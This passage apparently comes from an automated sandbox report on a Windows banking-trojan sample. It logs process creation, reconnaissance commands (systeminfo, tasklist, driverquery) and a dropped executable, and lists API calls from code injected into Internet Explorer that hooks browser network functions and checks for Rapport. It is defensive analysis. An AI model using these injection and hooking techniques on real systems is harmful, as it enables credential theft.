Wow64 process (32bit):	false
Commandline:	/C 266312.cmd
Imagebase:	0x4ad00000
File size:	389120 bytes
MD5 hash:	6D778E0F95447E6546553EEEA709D03C

Chronological Activities

Analysis Process: attrib.exe PID: 1908 Parent PID: 2860

General

Start time:	17:55:52
Start date:	27/02/2014
Path:	C:\WINDOWS\system32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib -r -s -h butit.exe
Imagebase:	0x71fa0000
File size:	12288 bytes
MD5 hash:	E6D680494C812B82A15600FD23C94424

Chronological Activities

Analysis Process: cmd.exe PID: 3632 Parent PID: 3032

General

Start time:	17:56:09
Start date:	27/02/2014
Path:	C:\WINDOWS\system32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /C systeminfo.exe > C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\_9.tmp
Imagebase:	0x4ad00000
File size:	389120 bytes
MD5 hash:	6D778E0F95447E6546553EEEA709D03C

Chronological Activities

Analysis Process: systeminfo.exe PID: 1428 Parent PID: 3632

General

Start time:	17:56:10
Start date:	27/02/2014
Path:	C:\WINDOWS\system32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	systeminfo.exe
Imagebase:	0x1000000
File size:	71680 bytes
MD5 hash:	A279F4091F940C15A288767F4285C0FF

Chronological Activities

Analysis Process: cutit.exe PID: 2516 Parent PID: 480

General

Start time:	17:56:12
Start date:	27/02/2014
Path:	C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\cutit.exe
Wow64 process (32bit):	false
Commandline:	C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\cutit.exe
Imagebase:	0x13000000
File size:	569344 bytes
MD5 hash:	E3AB32FB1EC51BF0F29AB03188C5862D

Chronological Activities

Analysis Process: tasklist.exe PID: 3440 Parent PID: 2880

General

Start time:	17:56:18
Start date:	27/02/2014
Path:	C:\WINDOWS\system32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist.exe /SVC
Imagebase:	0x77120000
File size:	77824 bytes
MD5 hash:	E8B108654C5789AD3F75E08B0A89C609

Chronological Activities

Analysis Process: cmd.exe PID: 2880 Parent PID: 3032

General

Start time:	17:56:18
Start date:	27/02/2014
Path:	C:\WINDOWS\system32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /C tasklist.exe /SVC >> C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\_9.tmp
Imagebase:	0x4ad00000
File size:	389120 bytes
MD5 hash:	6D778E0F95447E6546553EEEA709D03C

Chronological Activities

Analysis Process: oxfyc.exe PID: 2408 Parent PID: 2516

General

Start time:	17:56:21
Start date:	27/02/2014
Path:	C:\Documents and Settings\Administrator\Application Data\Voxi\oxfyc.exe
Wow64 process (32bit):	false
Commandline:	C:\Documents and Settings\Administrator\Application Data\Voxi\oxfyc.exe
Imagebase:	0x13000000
File size:	569344 bytes
MD5 hash:	B0F7A032A0174DED0E7168B9F4150FF6

Chronological Activities

Analysis Process: cmd.exe PID: 4064 Parent PID: 3032

General

Start time:	17:56:19
Start date:	27/02/2014
Path:	C:\WINDOWS\system32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /C driverquery.exe >> C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\_9.tmp
Imagebase:	0x4ad00000
File size:	389120 bytes
MD5 hash:	6D778E0F95447E6546553EEEA709D03C

Chronological Activities

Analysis Process: driverquery.exe PID: 2736 Parent PID: 4064

General

Start time:	17:56:21
Start date:	27/02/2014
Path:	C:\WINDOWS\system32\driverquery.exe
Wow64 process (32bit):	false
Commandline:	driverquery.exe
Imagebase:	0x71b20000
File size:	62976 bytes
MD5 hash:	E9F6BDB0D4578C4A27590FC6AA0713D3

Chronological Activities

Disassembly

Code Analysis

< >

Analysis Process: iexplore.exe PID: 776 Parent PID: 848

Executed Functions

Function 02253FF3, Relevance: 35.5, APIs: 20, Instructions: 118

APIs

GetCurrentThread.KERNEL32 ref: 02254004
GetThreadPriority.KERNEL32 ref: 02254007
GetCurrentThread.KERNEL32 ref: 02254012
SetThreadPriority.KERNEL32 ref: 02254015
GetCurrentProcessId.KERNEL32 ref: 0225401B
CreateToolhelp32Snapshot.KERNEL32(00000004), ref: 02254024
Thread32First.KERNEL32 ref: 02254055
GetCurrentProcessId.KERNEL32 ref: 0225405F
GetCurrentThreadId.KERNEL32 ref: 0225406A
Thread32Next.KERNEL32(?), ref: 02254082
GetProcessHeap.KERNEL32 ref: 022540A0
HeapAlloc.KERNEL32 ref: 022540A7
memset.NTDLL(?,00000000), ref: 022540BC
Thread32First.KERNEL32(?), ref: 022540D2
GetCurrentProcessId.KERNEL32 ref: 022540D6
GetCurrentThreadId.KERNEL32 ref: 022540E1

Part of subcall function 02253D36: OpenThread.KERNEL32(001F03FF,00000000,00000000), ref: 02253D4C
Part of subcall function 02253D36: SuspendThread.KERNEL32 ref: 02253D62
Part of subcall function 02253D36: GetThreadContext.KERNEL32 ref: 02253D89
Part of subcall function 02253D36: ResumeThread.KERNEL32 ref: 02253DAC
Part of subcall function 02253D36: Sleep.KERNEL32(00000064), ref: 02253DB6
Part of subcall function 02253D36: SuspendThread.KERNEL32 ref: 02253DBD
Part of subcall function 02253D36: GetThreadContext.KERNEL32(?,?), ref: 02253DCE
Part of subcall function 02253D36: CloseHandle.KERNEL32 ref: 02253DD7

Thread32Next.KERNEL32(?), ref: 0225411C
CloseHandle.KERNEL32(?), ref: 02254138
GetCurrentThread.KERNEL32 ref: 02254143
SetThreadPriority.KERNEL32 ref: 02254146

Part of subcall function 02253CB1: GetCurrentThread.KERNEL32 ref: 02253CBE
Part of subcall function 02253CB1: GetThreadPriority.KERNEL32 ref: 02253CC1
Part of subcall function 02253CB1: GetCurrentThread.KERNEL32 ref: 02253CCC
Part of subcall function 02253CB1: SetThreadPriority.KERNEL32 ref: 02253CD5
Part of subcall function 02253CB1: ResumeThread.KERNEL32(00000000), ref: 02253CE9
Part of subcall function 02253CB1: CloseHandle.KERNEL32(00000000), ref: 02253CF7
Part of subcall function 02253CB1: GetProcessHeap.KERNEL32 ref: 02253D0E
Part of subcall function 02253CB1: HeapFree.KERNEL32(?,?,?,?,?,?,?,?,02254158), ref: 02253D15
Part of subcall function 02253CB1: GetCurrentThread.KERNEL32 ref: 02253D2C
Part of subcall function 02253CB1: SetThreadPriority.KERNEL32 ref: 02253D2F

Memory Dump Source

Source File: 00000000.00000002.1094746420.02251000.00000010.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000002.1094740869.02250000.00000002.sdmp
Associated: 00000000.00000002.1094764534.0225F000.00000002.sdmp
Associated: 00000000.00000002.1094771565.02262000.00000004.sdmp
Associated: 00000000.00000002.1094784935.02267000.00000008.sdmp
Associated: 00000000.00000002.1094790850.0226A000.00000004.sdmp
Associated: 00000000.00000002.1094798161.0226B000.00000008.sdmp
Associated: 00000000.00000002.1094807309.0226C000.00000004.sdmp
Associated: 00000000.00000002.1094814464.0226E000.00000008.sdmp
Associated: 00000000.00000002.1094825711.02278000.00000004.sdmp
Associated: 00000000.00000002.1094835974.0227C000.00000008.sdmp
Associated: 00000000.00000002.1094849982.0227D000.00000004.sdmp
Associated: 00000000.00000002.1094855417.0227E000.00000008.sdmp
Associated: 00000000.00000002.1094864083.02287000.00000004.sdmp
Associated: 00000000.00000002.1094883971.02288000.00000002.sdmp

Function 02251AA9, Relevance: 26.3, APIs: 7, Strings: 6, Instructions: 56

APIs

LoadLibraryW.KERNEL32(?), ref: 02251AB7
GetProcAddress.KERNEL32(?,deflateInit2_), ref: 02251ACF
GetProcAddress.KERNEL32(?,deflate), ref: 02251ADF
GetProcAddress.KERNEL32(?,deflateEnd), ref: 02251AEF
GetProcAddress.KERNEL32(?,inflateInit2_), ref: 02251AFF
GetProcAddress.KERNEL32(?,inflate), ref: 02251B0F
GetProcAddress.KERNEL32(?,inflateEnd), ref: 02251B1F

Part of subcall function 02251A98: FreeLibrary.KERNEL32 ref: 02251A9F

Strings

deflateInit2_, xrefs: 02251AC9
inflateInit2_, xrefs: 02251AF8
inflateEnd, xrefs: 02251B18
deflateEnd, xrefs: 02251AE8
deflate, xrefs: 02251AD8
inflate, xrefs: 02251B08

Memory Dump Source

Source File: 00000000.00000002.1094746420.02251000.00000010.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000002.1094740869.02250000.00000002.sdmp
Associated: 00000000.00000002.1094764534.0225F000.00000002.sdmp
Associated: 00000000.00000002.1094771565.02262000.00000004.sdmp
Associated: 00000000.00000002.1094784935.02267000.00000008.sdmp
Associated: 00000000.00000002.1094790850.0226A000.00000004.sdmp
Associated: 00000000.00000002.1094798161.0226B000.00000008.sdmp
Associated: 00000000.00000002.1094807309.0226C000.00000004.sdmp
Associated: 00000000.00000002.1094814464.0226E000.00000008.sdmp
Associated: 00000000.00000002.1094825711.02278000.00000004.sdmp
Associated: 00000000.00000002.1094835974.0227C000.00000008.sdmp
Associated: 00000000.00000002.1094849982.0227D000.00000004.sdmp
Associated: 00000000.00000002.1094855417.0227E000.00000008.sdmp
Associated: 00000000.00000002.1094864083.02287000.00000004.sdmp
Associated: 00000000.00000002.1094883971.02288000.00000002.sdmp

Function 02253CB1, Relevance: 18.1, APIs: 10, Instructions: 44

APIs

GetCurrentThread.KERNEL32 ref: 02253CBE
GetThreadPriority.KERNEL32 ref: 02253CC1
GetCurrentThread.KERNEL32 ref: 02253CCC
SetThreadPriority.KERNEL32 ref: 02253CD5
ResumeThread.KERNEL32(00000000), ref: 02253CE9
CloseHandle.KERNEL32(00000000), ref: 02253CF7
GetProcessHeap.KERNEL32 ref: 02253D0E
HeapFree.KERNEL32(?,?,?,?,?,?,?,?,02254158), ref: 02253D15
GetCurrentThread.KERNEL32 ref: 02253D2C
SetThreadPriority.KERNEL32 ref: 02253D2F

Memory Dump Source

Source File: 00000000.00000002.1094746420.02251000.00000010.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000002.1094740869.02250000.00000002.sdmp
Associated: 00000000.00000002.1094764534.0225F000.00000002.sdmp
Associated: 00000000.00000002.1094771565.02262000.00000004.sdmp
Associated: 00000000.00000002.1094784935.02267000.00000008.sdmp
Associated: 00000000.00000002.1094790850.0226A000.00000004.sdmp
Associated: 00000000.00000002.1094798161.0226B000.00000008.sdmp
Associated: 00000000.00000002.1094807309.0226C000.00000004.sdmp
Associated: 00000000.00000002.1094814464.0226E000.00000008.sdmp
Associated: 00000000.00000002.1094825711.02278000.00000004.sdmp
Associated: 00000000.00000002.1094835974.0227C000.00000008.sdmp
Associated: 00000000.00000002.1094849982.0227D000.00000004.sdmp
Associated: 00000000.00000002.1094855417.0227E000.00000008.sdmp
Associated: 00000000.00000002.1094864083.02287000.00000004.sdmp
Associated: 00000000.00000002.1094883971.02288000.00000002.sdmp

Function 02253E50, Relevance: 8.3, APIs: 3, Strings: 1, Instructions: 84

APIs

GetSystemInfo.KERNEL32(?), ref: 02253EAB
VirtualQuery.KERNEL32(?,?,0000001C), ref: 02253EBD
VirtualAlloc.KERNEL32(?,0000006C,00003000,00000020), ref: 02253EF3

Strings

l, xrefs: 02253ED0

Memory Dump Source

Source File: 00000000.00000002.1094746420.02251000.00000010.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000002.1094740869.02250000.00000002.sdmp
Associated: 00000000.00000002.1094764534.0225F000.00000002.sdmp
Associated: 00000000.00000002.1094771565.02262000.00000004.sdmp
Associated: 00000000.00000002.1094784935.02267000.00000008.sdmp
Associated: 00000000.00000002.1094790850.0226A000.00000004.sdmp
Associated: 00000000.00000002.1094798161.0226B000.00000008.sdmp
Associated: 00000000.00000002.1094807309.0226C000.00000004.sdmp
Associated: 00000000.00000002.1094814464.0226E000.00000008.sdmp
Associated: 00000000.00000002.1094825711.02278000.00000004.sdmp
Associated: 00000000.00000002.1094835974.0227C000.00000008.sdmp
Associated: 00000000.00000002.1094849982.0227D000.00000004.sdmp
Associated: 00000000.00000002.1094855417.0227E000.00000008.sdmp
Associated: 00000000.00000002.1094864083.02287000.00000004.sdmp
Associated: 00000000.00000002.1094883971.02288000.00000002.sdmp

Function 022546E2, Relevance: 26.4, APIs: 9, Strings: 4, Instructions: 195

APIs

lstrcpyW.KERNEL32 ref: 0225470F
lstrlenW.KERNEL32 ref: 0225471E
lstrcatW.KERNEL32(?,zlib1.dll), ref: 02254758

Part of subcall function 022521B0: HeapAlloc.KERNEL32(00150000,00000000,00000348,02254FD6), ref: 022521BA

Part of subcall function 02251AA9: LoadLibraryW.KERNEL32(?), ref: 02251AB7
Part of subcall function 02251AA9: GetProcAddress.KERNEL32(?,deflateInit2_), ref: 02251ACF
Part of subcall function 02251AA9: GetProcAddress.KERNEL32(?,deflate), ref: 02251ADF
Part of subcall function 02251AA9: GetProcAddress.KERNEL32(?,deflateEnd), ref: 02251AEF
Part of subcall function 02251AA9: GetProcAddress.KERNEL32(?,inflateInit2_), ref: 02251AFF
Part of subcall function 02251AA9: GetProcAddress.KERNEL32(?,inflate), ref: 02251B0F
Part of subcall function 02251AA9: GetProcAddress.KERNEL32(?,inflateEnd), ref: 02251B1F

lstrcpyW.KERNEL32 ref: 02254790
lstrlenW.KERNEL32 ref: 02254799
lstrcatW.KERNEL32(?,aplib.dll), ref: 022547CF

Part of subcall function 02251B50: LoadLibraryW.KERNEL32(?), ref: 02251B5E
Part of subcall function 02251B50: GetProcAddress.KERNEL32(?,_aP_pack), ref: 02251B76
Part of subcall function 02251B50: GetProcAddress.KERNEL32(?,_aP_workmem_size), ref: 02251B86
Part of subcall function 02251B50: GetProcAddress.KERNEL32(?,_aP_max_packed_size), ref: 02251B96

Part of subcall function 0225C3CC: GetModuleHandleW.KERNEL32(KERNEL32), ref: 0225C3DA
Part of subcall function 0225C3CC: GetProcAddress.KERNEL32(?,CreateProcessA), ref: 0225C3F5
Part of subcall function 0225C3CC: GetProcAddress.KERNEL32(?,CreateProcessW), ref: 0225C415
Part of subcall function 0225C3CC: GetModuleHandleW.KERNEL32(ADVAPI32), ref: 0225C434
Part of subcall function 0225C3CC: GetProcAddress.KERNEL32(?,CreateProcessAsUserA), ref: 0225C442
Part of subcall function 0225C3CC: GetProcAddress.KERNEL32(?,CreateProcessAsUserW), ref: 0225C462

CreateMutexW.KERNEL32(02287CB8,00000000,033B2988), ref: 0225491C

Part of subcall function 022599B7: InitializeCriticalSection.KERNEL32 ref: 022599CB

Part of subcall function 02259B60: FindResourceW.KERNEL32(00000066,RT_DATA,02287CB8), ref: 02259B76
Part of subcall function 02259B60: SizeofResource.KERNEL32 ref: 02259B85
Part of subcall function 02259B60: LoadResource.KERNEL32 ref: 02259B94
Part of subcall function 02259B60: LockResource.KERNEL32 ref: 02259B9B

Part of subcall function 0225D860: GetModuleHandleA.KERNEL32(RapportGP.dll), ref: 0225D866

Part of subcall function 0225BD0D: GetModuleHandleW.KERNEL32(NSPR4), ref: 0225BD1D
Part of subcall function 0225BD0D: GetModuleHandleW.KERNEL32(NSS3), ref: 0225BD2A
Part of subcall function 0225BD0D: GetProcAddress.KERNEL32(?,PR_Read), ref: 0225BD3E
Part of subcall function 0225BD0D: GetProcAddress.KERNEL32(?,PR_Write), ref: 0225BD5E
Part of subcall function 0225BD0D: GetProcAddress.KERNEL32(?,PR_Close), ref: 0225BD7E

Part of subcall function 0225BCA0: InitializeCriticalSection.KERNEL32 ref: 0225BCAC

Part of subcall function 0225CFC4: GetModuleHandleW.KERNEL32(WS2_32), ref: 0225CFD2
Part of subcall function 0225CFC4: GetProcAddress.KERNEL32(?,recv), ref: 0225CFE6
Part of subcall function 0225CFC4: GetProcAddress.KERNEL32(?,WSASend), ref: 0225D006
Part of subcall function 0225CFC4: GetProcAddress.KERNEL32(?,closesocket), ref: 0225D026
Part of subcall function 0225CFC4: GetModuleHandleW.KERNEL32(CHROME.DLL), ref: 0225D045
Part of subcall function 0225CFC4: GetModuleHandleW.KERNEL32(KERNEL32), ref: 0225D054
Part of subcall function 0225CFC4: GetProcAddress.KERNEL32(?,LoadLibraryA), ref: 0225D066
Part of subcall function 0225CFC4: GetProcAddress.KERNEL32(?,LoadLibraryW), ref: 0225D086
Part of subcall function 0225CFC4: GetProcAddress.KERNEL32(?,LoadLibraryExA), ref: 0225D0A6
Part of subcall function 0225CFC4: GetProcAddress.KERNEL32(?,LoadLibraryExW), ref: 0225D0C6

Part of subcall function 0225C729: InitializeCriticalSection.KERNEL32 ref: 0225C735

CreateEventW.KERNEL32(02287CB8,00000001,00000000,033B2938), ref: 02254934

Part of subcall function 0225AAC8: InitializeCriticalSection.KERNEL32 ref: 0225AAD5

Part of subcall function 0225B2AD: GetModuleHandleW.KERNEL32(WININET), ref: 0225B2B7
Part of subcall function 0225B2AD: GetProcAddress.KERNEL32(?,InternetConnectA), ref: 0225B2D3
Part of subcall function 0225B2AD: GetProcAddress.KERNEL32(?,InternetConnectW), ref: 0225B2F3
Part of subcall function 0225B2AD: GetProcAddress.KERNEL32(?,HttpSendRequestA), ref: 0225B313
Part of subcall function 0225B2AD: GetProcAddress.KERNEL32(?,HttpSendRequestW), ref: 0225B333
Part of subcall function 0225B2AD: GetProcAddress.KERNEL32(?,HttpSendRequestExA), ref: 0225B353
Part of subcall function 0225B2AD: GetProcAddress.KERNEL32(?,HttpSendRequestExW), ref: 0225B373
Part of subcall function 0225B2AD: GetProcAddress.KERNEL32(?,InternetReadFile), ref: 0225B393
Part of subcall function 0225B2AD: GetProcAddress.KERNEL32(?,InternetReadFileExA), ref: 0225B3B3
Part of subcall function 0225B2AD: GetProcAddress.KERNEL32(?,InternetReadFileExW), ref: 0225B3D3
Part of subcall function 0225B2AD: GetProcAddress.KERNEL32(?,InternetQueryDataAvailable), ref: 0225B3F3

CreateMutexW.KERNEL32(02287CB8,00000000,033B29D8), ref: 022548F5

Strings

aplib.dll, xrefs: 022547C3
\, xrefs: 02254726
\, xrefs: 022547A3
zlib1.dll, xrefs: 0225474C

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 022542B1, Relevance: 20.1, APIs: 9, Instructions: 151

APIs

Part of subcall function 02253FB6: InitializeCriticalSection.KERNEL32(02287CD0), ref: 02253FC6
Part of subcall function 02253FB6: memset.NTDLL(02287CE8,00000000), ref: 02253FD8
Part of subcall function 02253FB6: EnterCriticalSection.KERNEL32(02287CD0,00000000,022542C6,?,000108AE,?,?,CreateProcessAsUserW,?,CreateProcessAsUserA,?,CreateProcessW,?,CreateProcessA), ref: 02253FEB

memset.NTDLL(?,00000000), ref: 022542E7
GetCurrentProcess.KERNEL32 ref: 02254327
VirtualProtectEx.KERNEL32(?,?,?,00000040,?), ref: 02254341
VirtualProtectEx.KERNEL32(?,?,0000006C,00000040,?), ref: 0225435B
FlushInstructionCache.KERNEL32(?), ref: 022543C8
FlushInstructionCache.KERNEL32(?), ref: 022543EB
VirtualProtectEx.KERNEL32(?,?,0000006C,00000000,?), ref: 022543FE
FlushInstructionCache.KERNEL32(?), ref: 02254409
VirtualProtectEx.KERNEL32(?,?,?,00000000,?), ref: 0225441B

Part of subcall function 02253DE8: VirtualFree.KERNEL32(?,00000000,00008000), ref: 02253E13

Part of subcall function 02253CB1: GetCurrentThread.KERNEL32 ref: 02253CBE
Part of subcall function 02253CB1: GetThreadPriority.KERNEL32 ref: 02253CC1
Part of subcall function 02253CB1: GetCurrentThread.KERNEL32 ref: 02253CCC
Part of subcall function 02253CB1: SetThreadPriority.KERNEL32 ref: 02253CD5
Part of subcall function 02253CB1: ResumeThread.KERNEL32(00000000), ref: 02253CE9
Part of subcall function 02253CB1: CloseHandle.KERNEL32(00000000), ref: 02253CF7
Part of subcall function 02253CB1: GetProcessHeap.KERNEL32 ref: 02253D0E
Part of subcall function 02253CB1: HeapFree.KERNEL32(?,?,?,?,?,?,?,?,02254158), ref: 02253D15
Part of subcall function 02253CB1: GetCurrentThread.KERNEL32 ref: 02253D2C
Part of subcall function 02253CB1: SetThreadPriority.KERNEL32 ref: 02253D2F

Part of subcall function 02253FAA: LeaveCriticalSection.KERNEL32(02287CD0,02254445,?,?,000108AE,?,?,CreateProcessAsUserW,?,CreateProcessAsUserA,?,CreateProcessW,?,CreateProcessA), ref: 02253FAF

Part of subcall function 02253FF3: GetCurrentThread.KERNEL32 ref: 02254004
Part of subcall function 02253FF3: GetThreadPriority.KERNEL32 ref: 02254007
Part of subcall function 02253FF3: GetCurrentThread.KERNEL32 ref: 02254012
Part of subcall function 02253FF3: SetThreadPriority.KERNEL32 ref: 02254015
Part of subcall function 02253FF3: GetCurrentProcessId.KERNEL32 ref: 0225401B
Part of subcall function 02253FF3: CreateToolhelp32Snapshot.KERNEL32(00000004), ref: 02254024
Part of subcall function 02253FF3: Thread32First.KERNEL32 ref: 02254055
Part of subcall function 02253FF3: GetCurrentProcessId.KERNEL32 ref: 0225405F
Part of subcall function 02253FF3: GetCurrentThreadId.KERNEL32 ref: 0225406A
Part of subcall function 02253FF3: Thread32Next.KERNEL32(?), ref: 02254082
Part of subcall function 02253FF3: GetProcessHeap.KERNEL32 ref: 022540A0
Part of subcall function 02253FF3: HeapAlloc.KERNEL32 ref: 022540A7
Part of subcall function 02253FF3: memset.NTDLL(?,00000000), ref: 022540BC
Part of subcall function 02253FF3: Thread32First.KERNEL32(?), ref: 022540D2
Part of subcall function 02253FF3: GetCurrentProcessId.KERNEL32 ref: 022540D6
Part of subcall function 02253FF3: GetCurrentThreadId.KERNEL32 ref: 022540E1
Part of subcall function 02253FF3: Thread32Next.KERNEL32(?), ref: 0225411C
Part of subcall function 02253FF3: CloseHandle.KERNEL32(?), ref: 02254138
Part of subcall function 02253FF3: GetCurrentThread.KERNEL32 ref: 02254143
Part of subcall function 02253FF3: SetThreadPriority.KERNEL32 ref: 02254146

Part of subcall function 02253E50: GetSystemInfo.KERNEL32(?), ref: 02253EAB
Part of subcall function 02253E50: VirtualQuery.KERNEL32(?,?,0000001C), ref: 02253EBD
Part of subcall function 02253E50: VirtualAlloc.KERNEL32(?,0000006C,00003000,00000020), ref: 02253EF3

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 02251B50, Relevance: 14.2, APIs: 4, Strings: 3, Instructions: 38

APIs

LoadLibraryW.KERNEL32(?), ref: 02251B5E
GetProcAddress.KERNEL32(?,_aP_pack), ref: 02251B76
GetProcAddress.KERNEL32(?,_aP_workmem_size), ref: 02251B86
GetProcAddress.KERNEL32(?,_aP_max_packed_size), ref: 02251B96

Part of subcall function 02251B3F: FreeLibrary.KERNEL32 ref: 02251B46

Strings

_aP_max_packed_size, xrefs: 02251B8F
_aP_workmem_size, xrefs: 02251B7F
_aP_pack, xrefs: 02251B70

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 02253D36, Relevance: 14.2, APIs: 8, Instructions: 60

APIs

OpenThread.KERNEL32(001F03FF,00000000,00000000), ref: 02253D4C
SuspendThread.KERNEL32 ref: 02253D62
GetThreadContext.KERNEL32 ref: 02253D89
ResumeThread.KERNEL32 ref: 02253DAC
Sleep.KERNEL32(00000064), ref: 02253DB6
SuspendThread.KERNEL32 ref: 02253DBD
GetThreadContext.KERNEL32(?,?), ref: 02253DCE
CloseHandle.KERNEL32 ref: 02253DD7

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 02254BAE, Relevance: 7.2, APIs: 4, Instructions: 46

APIs

InitializeCriticalSection.KERNEL32(04E6A010), ref: 02254BC4
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 02254BD5
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 02254BE1
CreateThread.KERNEL32(00000000,00000000,0225494A), ref: 02254BF4

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 02254F5F, Relevance: 6.2, APIs: 1, Strings: 2, Instructions: 12

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NW;;;LW),00000001,02287CB4,00000000), ref: 02254F7D

Strings

D:(D;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 02254F6F, 02254F7C
S:(ML;;NW;;;LW), xrefs: 02254F68

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 02254F84, Relevance: 6.1, APIs: 4, Instructions: 93

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 02254FA9
